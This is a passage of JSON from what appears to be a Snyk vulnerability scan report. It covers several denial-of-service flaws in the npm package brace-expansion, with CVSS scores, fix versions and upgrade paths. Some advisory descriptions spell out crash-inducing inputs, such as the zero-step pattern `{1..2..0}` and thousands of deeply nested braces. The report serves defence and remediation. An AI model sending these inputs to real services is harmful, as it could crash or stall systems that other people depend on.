">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmhook@11.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
